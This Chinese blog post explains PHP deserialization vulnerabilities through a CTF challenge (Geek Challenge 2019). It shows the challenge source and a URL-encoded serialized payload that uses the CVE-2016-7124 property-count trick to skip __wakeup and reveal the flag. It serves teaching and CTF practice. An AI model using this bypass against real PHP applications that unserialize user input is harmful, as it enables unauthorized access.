浅谈php反序列化漏洞

关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize()

简单的理解:

序列化就是将一个对象变成字符串

反序列化是将字符串恢复成对象

 

这样做的意义是为了将一个对象通过可保存的字节方式存储起来,同时就可以将序列化字节存储到数据库或者文本当中,当需要的时候再通过反序列化获取 。

另外我们提一下 2016 年的 CVE-2016-7124 绕过 __weakup 漏洞,感兴趣的同学可以自己去查一下,简单来说, 就是当成员属性数⽬⼤于实际数⽬时可绕过wakeup⽅法 。

好,有了这些基础知识之后,我们来看2019极客大挑战的一道简单反序列化的题目,题目环境已经复现到了buuoj平台上。

class.php源代码如下

<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>

index.php的源代码如下:

#indedx.php <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>

这里的逻辑也比较简单,在index.php页面,我们使用GET方法传给$select 变量一个值,随后对其进行反序列化。所以我们传给$select 变量的需要是一个序列化之后的字符串

接着我们看class.php, 里面有Name类的源代码,__construct是php里面的魔术方法之一,构造方法,把传递给他的username和password转为self的,同时我们还注意到有一个__wakeup()魔术方法,这里的相关基础知识是:

unserialize()反序列化时会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象所需要的资源。

而在这里的__wakeup()函数里面会将用户名改成guest,接着进入析构函数:__destruct(),析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

而在析构函数里面就是我们获取flag的关键

这里需要我们username是admin才可以获取flag,那么按照刚才的逻辑我们是无法获取flag的,这个时候就要用到之前说到的 当成员属性数⽬⼤于实际数⽬时可绕过wakeup⽅法

所以我们先输出一个username是admin,password是100的序列化字符串,同时我们将输出url编码,即:

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

我们将对象属性个数改为3,构造成最后的payload,为:

http://ip/?select= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

修改之后即可绕过__wakeup()函数,获取flag


__EOF__

本文作者春告鳥
本文链接https://www.cnblogs.com/Cl0ud/p/12232393.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   春告鳥  阅读(185)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示